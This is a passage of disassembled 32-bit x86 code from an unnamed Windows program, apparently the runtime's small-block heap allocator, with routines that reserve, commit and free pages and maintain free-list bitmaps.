edi, 80000000h shr edi, cl or [ebx+4], edi loc_42CEEC: ; CODE XREF: sub_42CC4E+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_42CF02: ; CODE XREF: sub_42CC4E+24Ej ; sub_42CC4E+283j mov ecx, [ebp+var_8] loc_42CF05: ; CODE XREF: sub_42CC4E+1A4j test ecx, ecx jz short loc_42CF14 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_42CF14 ; --------------------------------------------------------------------------- loc_42CF11: ; CODE XREF: sub_42CC4E+229j mov ecx, [ebp+var_8] loc_42CF14: ; CODE XREF: sub_42CC4E+2B9j ; sub_42CC4E+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_42CF4A cmp ebx, dword_676FF0 jnz short loc_42CF4A mov ecx, [ebp+var_4] cmp ecx, dword_676FE8 jnz short loc_42CF4A and dword_676FF0, 0 loc_42CF4A: ; CODE XREF: sub_42CC4E+2E0j ; sub_42CC4E+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_42CF52: ; CODE XREF: sub_42CC4E+F0j pop edi pop esi pop ebx leave retn sub_42CC4E endp ; =============== S U B R O U T I N E ======================================= sub_42CF57 proc near ; CODE XREF: sub_42CC4E+CCp mov eax, dword_676FF4 mov ecx, dword_676FE4 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_42CF9A lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_676FF8 push edi push dword_677000 call dword_437160 ; RtlReAllocateHeap cmp eax, edi jz short loc_42CFEA add dword_676FE4, 10h mov dword_676FF8, eax mov eax, dword_676FF4 loc_42CF9A: ; CODE XREF: sub_42CF57+11j mov ecx, dword_676FF8 push 41C4h push 8 lea eax, [eax+eax*4] push dword_677000 lea esi, [ecx+eax*4] call dword_437210 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_42CFEA push 4 push 2000h push 100000h push edi call dword_437194 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_42CFEE push dword ptr [esi+10h] push edi push dword_677000 call dword_437214 ; RtlFreeHeap loc_42CFEA: ; CODE XREF: sub_42CF57+30j ; sub_42CF57+67j xor eax, eax jmp short loc_42D005 ; --------------------------------------------------------------------------- loc_42CFEE: ; CODE XREF: sub_42CF57+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_676FF4 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_42D005: ; CODE XREF: sub_42CF57+95j pop edi pop esi retn sub_42CF57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D008 proc near ; CODE XREF: sub_42CC4E+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_42D01A: ; CODE XREF: sub_42D008+19j test eax, eax jl short loc_42D023 shl eax, 1 inc ebx jmp short loc_42D01A ; --------------------------------------------------------------------------- loc_42D023: ; CODE XREF: sub_42D008+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_42D038: ; CODE XREF: sub_42D008+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_42D038 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_437194 ; VirtualAlloc test eax, eax jnz short loc_42D06B or eax, 0FFFFFFFFh jmp loc_42D0FE ; --------------------------------------------------------------------------- loc_42D06B: ; CODE XREF: sub_42D008+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_42D0B1 lea eax, [edi+10h] loc_42D078: ; CODE XREF: sub_42D008+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_42D078 loc_42D0B1: ; CODE XREF: sub_42D008+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_42D0EE or [eax+4], edi loc_42D0EE: ; CODE XREF: sub_42D008+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_42D0FE: ; CODE XREF: sub_42D008+5Ej pop edi pop esi pop ebx leave retn sub_42D008 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D103 proc near ; CODE XREF: sub_431C83+8Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_42D2B1 test bl, 1 jnz loc_42D2AA add ebx, ecx cmp esi, ebx jg loc_42D2AA mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_42D17A push 3Fh pop ecx mov [ebp+var_8], ecx loc_42D17A: ; CODE XREF: sub_42D103+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_42D1CA cmp ecx, 20h jnb short loc_42D1A6 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_42D1CA mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_42D1CA ; --------------------------------------------------------------------------- loc_42D1A6: ; CODE XREF: sub_42D103+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_42D1CA mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_42D1CA: ; CODE XREF: sub_42D103+7Dj ; sub_42D103+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_42D298 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_42D204 push 3Fh pop edi loc_42D204: ; CODE XREF: sub_42D103+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_42D286 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_42D25D cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_42D250 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_42D250: ; CODE XREF: sub_42D103+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_42D282 ; --------------------------------------------------------------------------- loc_42D25D: ; CODE XREF: sub_42D103+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_42D273 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_42D273: ; CODE XREF: sub_42D103+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_42D282: ; CODE XREF: sub_42D103+158j shr edx, cl or [eax], edx loc_42D286: ; CODE XREF: sub_42D103+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_42D29B ; --------------------------------------------------------------------------- loc_42D298: ; CODE XREF: sub_42D103+E5j mov edx, [ebp+arg_4] loc_42D29B: ; CODE XREF: sub_42D103+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_42D3F1 ; --------------------------------------------------------------------------- loc_42D2AA: ; CODE XREF: sub_42D103+52j ; sub_42D103+5Cj xor eax, eax jmp loc_42D3F4 ; --------------------------------------------------------------------------- loc_42D2B1: ; CODE XREF: sub_42D103+49j jge loc_42D3F1 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_42D2DC push 3Fh pop esi loc_42D2DC: ; CODE XREF: sub_42D103+1D4j test byte ptr [ebp+var_4], 1 jnz loc_42D36B mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_42D2F5 push 3Fh pop esi loc_42D2F5: ; CODE XREF: sub_42D103+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_42D344 cmp esi, 20h jnb short loc_42D320 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_42D341 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_42D341 ; --------------------------------------------------------------------------- loc_42D320: ; CODE XREF: sub_42D103+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_42D341 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_42D341: ; CODE XREF: sub_42D103+214j ; sub_42D103+21Bj ... mov ebx, [ebp+arg_4] loc_42D344: ; CODE XREF: sub_42D103+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_42D36B push 3Fh pop esi loc_42D36B: ; CODE XREF: sub_42D103+1DDj ; sub_42D103+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_42D3E8 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_42D3BF cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_42D3B2 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_42D3B2: ; CODE XREF: sub_42D103+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_42D3E4 ; --------------------------------------------------------------------------- loc_42D3BF: ; CODE XREF: sub_42D103+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_42D3D5 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_42D3D5: ; CODE XREF: sub_42D103+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_42D3E4: ; CODE XREF: sub_42D103+2BAj shr edx, cl or [eax], edx loc_42D3E8: ; CODE XREF: sub_42D103+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_42D3F1: ; CODE XREF: sub_42D103+1A2j ; sub_42D103:loc_42D2B1j push 1 pop eax loc_42D3F4: ; CODE XREF: sub_42D103+1A9j pop edi pop esi pop ebx leave retn sub_42D103 endp ; =============== S U B R O U T I N E ======================================= sub_42D3F9 proc near ; CODE XREF: sub_42C855+41p ; sub_42D6F1:loc_42D8C0p cmp dword_451160, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_42D40D mov esi, offset off_451150 jmp short loc_42D42A ; --------------------------------------------------------------------------- loc_42D40D: ; CODE XREF: sub_42D3F9+Bj push 2020h push 0 push dword_677000 call dword_437210 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_42D536 loc_42D42A: ; CODE XREF: sub_42D3F9+12j mov ebp, dword_437194 push 4 push 2000h push 400000h push 0 call ebp ; dword_437194 mov edi, eax test edi, edi jz loc_42D51F push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; dword_437194 test eax, eax jz loc_42D511 mov eax, offset off_451150 cmp esi, eax jnz short loc_42D489 cmp off_451150, 0 jnz short loc_42D479 mov off_451150, eax loc_42D479: ; CODE XREF: sub_42D3F9+79j cmp off_451154, 0 jnz short loc_42D49E mov off_451154, eax jmp short loc_42D49E ; --------------------------------------------------------------------------- loc_42D489: ; CODE XREF: sub_42D3F9+70j mov [esi], eax mov eax, off_451154 mov [esi+4], eax mov off_451154, esi mov eax, [esi+4] mov [eax], esi loc_42D49E: ; CODE XREF: sub_42D3F9+87j ; sub_42D3F9+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_42D4C0: ; CODE XREF: sub_42D3F9+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_42D4C0 push ebx push 0 push edi call sub_429760 add esp, 0Ch loc_42D4E9: ; CODE XREF: sub_42D3F9+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_42D50D or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_42D4E9 ; --------------------------------------------------------------------------- loc_42D50D: ; CODE XREF: sub_42D3F9+F7j mov eax, esi jmp short loc_42D538 ; --------------------------------------------------------------------------- loc_42D511: ; CODE XREF: sub_42D3F9+63j push 8000h push 0 push edi call dword_437198 ; VirtualFree loc_42D51F: ; CODE XREF: sub_42D3F9+4Bj cmp esi, offset off_451150 jz short loc_42D536 push esi push 0 push dword_677000 call dword_437214 ; RtlFreeHeap loc_42D536: ; CODE XREF: sub_42D3F9+2Bj ; sub_42D3F9+12Cj xor eax, eax loc_42D538: ; CODE XREF: sub_42D3F9+116j pop edi pop esi pop ebp pop ebx retn sub_42D3F9 endp ; =============== S U B R O U T I N E ======================================= sub_42D53D proc near ; CODE XREF: sub_42D593+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_437198 ; VirtualFree cmp off_453170, esi jnz short loc_42D562 mov eax, [esi+4] mov off_453170, eax loc_42D562: ; CODE XREF: sub_42D53D+1Bj cmp esi, offset off_451150 jz short loc_42D58A mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_677000 call dword_437214 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_42D58A: ; CODE XREF: sub_42D53D+2Bj or dword_451160, 0FFFFFFFFh pop esi retn sub_42D53D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D593 proc near ; CODE XREF: sub_42D6AC+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_451154 push edi loc_42D5A0: ; CODE XREF: sub_42D593+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_42D63E and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_42D5B9: ; CODE XREF: sub_42D593+72j cmp dword ptr [edi], 0F0h jnz short loc_42D5FA mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_437198 ; VirtualFree test eax, eax jz short loc_42D5FA or dword ptr [edi], 0FFFFFFFFh dec dword_676938 mov eax, [esi+0Ch] test eax, eax jz short loc_42D5EF cmp eax, edi jbe short loc_42D5F2 loc_42D5EF: ; CODE XREF: sub_42D593+56j mov [esi+0Ch], edi loc_42D5F2: ; CODE XREF: sub_42D593+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_42D607 loc_42D5FA: ; CODE XREF: sub_42D593+2Cj ; sub_42D593+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_42D5B9 loc_42D607: ; CODE XREF: sub_42D593+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_42D63E cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_42D63E push 1 lea eax, [ecx+20h] pop edx loc_42D61E: ; CODE XREF: sub_42D593+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_42D62F inc edx add eax, 8 cmp edx, 400h jl short loc_42D61E loc_42D62F: ; CODE XREF: sub_42D593+8Ej cmp edx, 400h jnz short loc_42D63E push ecx call sub_42D53D pop ecx loc_42D63E: ; CODE XREF: sub_42D593+11j ; sub_42D593+7Dj ... cmp esi, off_451154 jz short loc_42D650 cmp [ebp+arg_0], 0 jg loc_42D5A0 loc_42D650: ; CODE XREF: sub_42D593+B1j pop edi pop esi pop ebx leave retn sub_42D593 endp ; =============== S U B R O U T I N E ======================================= sub_42D655 proc near ; CODE XREF: sub_4298F2+90p ; sub_431C83+1D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_451150 push esi mov ecx, edx loc_42D661: ; CODE XREF: sub_42D655+1Cj cmp eax, [ecx+10h] jbe short loc_42D66B cmp eax, [ecx+14h] jb short loc_42D673 loc_42D66B: ; CODE XREF: sub_42D655+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_42D6A8 jmp short loc_42D661 ; --------------------------------------------------------------------------- loc_42D673: ; CODE XREF: sub_42D655+14j test al, 0Fh jnz short loc_42D6A8 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_42D6A8 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_42D6A8: ; CODE XREF: sub_42D655+1Aj ; sub_42D655+20j ... xor eax, eax pop esi retn sub_42D655 endp ; =============== S U B R O U T I N E ======================================= sub_42D6AC proc near ; CODE XREF: sub_4298F2+A6p ; sub_431C83+246p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_42D6F0 inc dword_676938 cmp dword_676938, 20h jnz short locret_42D6F0 push 10h call sub_42D593 pop ecx locret_42D6F0: ; CODE XREF: sub_42D6AC+2Bj ; sub_42D6AC+3Aj retn sub_42D6AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D6F1 proc near ; CODE XREF: sub_4297F6+A7p ; sub_42B39A+C4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_453170 push edi loc_42D6FF: ; CODE XREF: sub_42D6F1+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_42D7AA mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_42D764 loc_42D72A: ; CODE XREF: sub_42D6F1+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_42D74D cmp [edi+4], ebx jbe short loc_42D74D push ebx push ecx push eax call sub_42D8F9 add esp, 0Ch test eax, eax jnz short loc_42D7BC mov eax, [ebp+var_4] mov [edi+4], ebx loc_42D74D: ; CODE XREF: sub_42D6F1+40j ; sub_42D6F1+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_42D72A jmp short loc_42D767 ; --------------------------------------------------------------------------- loc_42D764: ; CODE XREF: sub_42D6F1+37j mov ebx, [ebp+arg_0] loc_42D767: ; CODE XREF: sub_42D6F1+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_42D7AD loc_42D77A: ; CODE XREF: sub_42D6F1+B5j mov eax, [edi] cmp eax, ebx jl short loc_42D799 cmp [edi+4], ebx jbe short loc_42D799 push ebx push eax push [ebp+var_4] call sub_42D8F9 add esp, 0Ch test eax, eax jnz short loc_42D7BC mov [edi+4], ebx loc_42D799: ; CODE XREF: sub_42D6F1+8Dj ; sub_42D6F1+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_42D77A jmp short loc_42D7AD ; --------------------------------------------------------------------------- loc_42D7AA: ; CODE XREF: sub_42D6F1+14j mov ebx, [ebp+arg_0] loc_42D7AD: ; CODE XREF: sub_42D6F1+87j ; sub_42D6F1+B7j mov esi, [esi] cmp esi, off_453170 jz short loc_42D7CC jmp loc_42D6FF ; --------------------------------------------------------------------------- loc_42D7BC: ; CODE XREF: sub_42D6F1+54j ; sub_42D6F1+A3j mov off_453170, esi sub [edi], ebx mov [esi+8], edi jmp loc_42D8F4 ; --------------------------------------------------------------------------- loc_42D7CC: ; CODE XREF: sub_42D6F1+C4j mov eax, offset off_451150 mov edi, eax loc_42D7D3: ; CODE XREF: sub_42D6F1+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_42D7DF cmp dword ptr [edi+0Ch], 0 jnz short loc_42D7EB loc_42D7DF: ; CODE XREF: sub_42D6F1+E6j mov edi, [edi] cmp edi, eax jz loc_42D8C0 jmp short loc_42D7D3 ; --------------------------------------------------------------------------- loc_42D7EB: ; CODE XREF: sub_42D6F1+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_42D81A loc_42D809: ; CODE XREF: sub_42D6F1+127j cmp [ebp+var_4], 10h jge short loc_42D81A add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42D809 loc_42D81A: ; CODE XREF: sub_42D6F1+116j ; sub_42D6F1+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_437194 ; VirtualAlloc cmp eax, esi jnz loc_42D8F2 push 0 push [ebp+var_8] push esi call sub_429760 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_42D881 lea eax, [esi+4] mov [ebp+var_4], edx loc_42D857: ; CODE XREF: sub_42D6F1+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_42D857 loc_42D881: ; CODE XREF: sub_42D6F1+15Ej mov off_453170, edi lea eax, [edi+2018h] loc_42D88D: ; CODE XREF: sub_42D6F1+1A8j cmp ecx, eax jnb short loc_42D89D cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_42D89B add ecx, 8 jmp short loc_42D88D ; --------------------------------------------------------------------------- loc_42D89B: ; CODE XREF: sub_42D6F1+1A3j cmp ecx, eax loc_42D89D: ; CODE XREF: sub_42D6F1+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_42D8F4 ; --------------------------------------------------------------------------- loc_42D8C0: ; CODE XREF: sub_42D6F1+F2j call sub_42D3F9 test eax, eax jz short loc_42D8F2 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_453170, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_42D8F4 ; --------------------------------------------------------------------------- loc_42D8F2: ; CODE XREF: sub_42D6F1+143j ; sub_42D6F1+1D6j xor eax, eax loc_42D8F4: ; CODE XREF: sub_42D6F1+D6j ; sub_42D6F1+1CDj ... pop edi pop esi pop ebx leave retn sub_42D6F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D8F9 proc near ; CODE XREF: sub_42D6F1+4Ap ; sub_42D6F1+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_42D93E lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_42D92D add [ecx], edx sub [ecx+4], edx jmp short loc_42D936 ; --------------------------------------------------------------------------- loc_42D92D: ; CODE XREF: sub_42D8F9+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_42D936: ; CODE XREF: sub_42D8F9+32j lea eax, [edi+8] jmp loc_42DA0C ; --------------------------------------------------------------------------- loc_42D93E: ; CODE XREF: sub_42D8F9+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_42D947 mov eax, esi loc_42D947: ; CODE XREF: sub_42D8F9+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_42D991 loc_42D94E: ; CODE XREF: sub_42D8F9+96j mov bl, [eax] test bl, bl jnz short loc_42D984 push 1 lea ebx, [eax+1] pop esi loc_42D95A: ; CODE XREF: sub_42D8F9+68j cmp byte ptr [ebx], 0 jnz short loc_42D963 inc ebx inc esi jmp short loc_42D95A ; --------------------------------------------------------------------------- loc_42D963: ; CODE XREF: sub_42D8F9+64j cmp esi, edx jnb short loc_42D9B5 cmp eax, [ebp+var_4] jnz short loc_42D971 mov [ecx+4], esi jmp short loc_42D97D ; --------------------------------------------------------------------------- loc_42D971: ; CODE XREF: sub_42D8F9+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_42DA16 loc_42D97D: ; CODE XREF: sub_42D8F9+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_42D989 ; --------------------------------------------------------------------------- loc_42D984: ; CODE XREF: sub_42D8F9+59j movzx esi, bl add eax, esi loc_42D989: ; CODE XREF: sub_42D8F9+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_42D94E loc_42D991: ; CODE XREF: sub_42D8F9+53j lea esi, [ecx+8] loc_42D994: ; CODE XREF: sub_42D8F9+EBj ; sub_42D8F9+F2j cmp esi, edi jnb short loc_42DA16 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_42DA16 mov al, [esi] test al, al jnz short loc_42D9E6 push 1 lea ebx, [esi+1] pop eax loc_42D9AC: ; CODE XREF: sub_42D8F9+BAj cmp byte ptr [ebx], 0 jnz short loc_42D9D6 inc ebx inc eax jmp short loc_42D9AC ; --------------------------------------------------------------------------- loc_42D9B5: ; CODE XREF: sub_42D8F9+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_42D9C6 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_42D9CF ; --------------------------------------------------------------------------- loc_42D9C6: ; CODE XREF: sub_42D8F9+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_42D9CF: ; CODE XREF: sub_42D8F9+CBj mov [eax], dl add eax, 8 jmp short loc_42DA0C ; --------------------------------------------------------------------------- 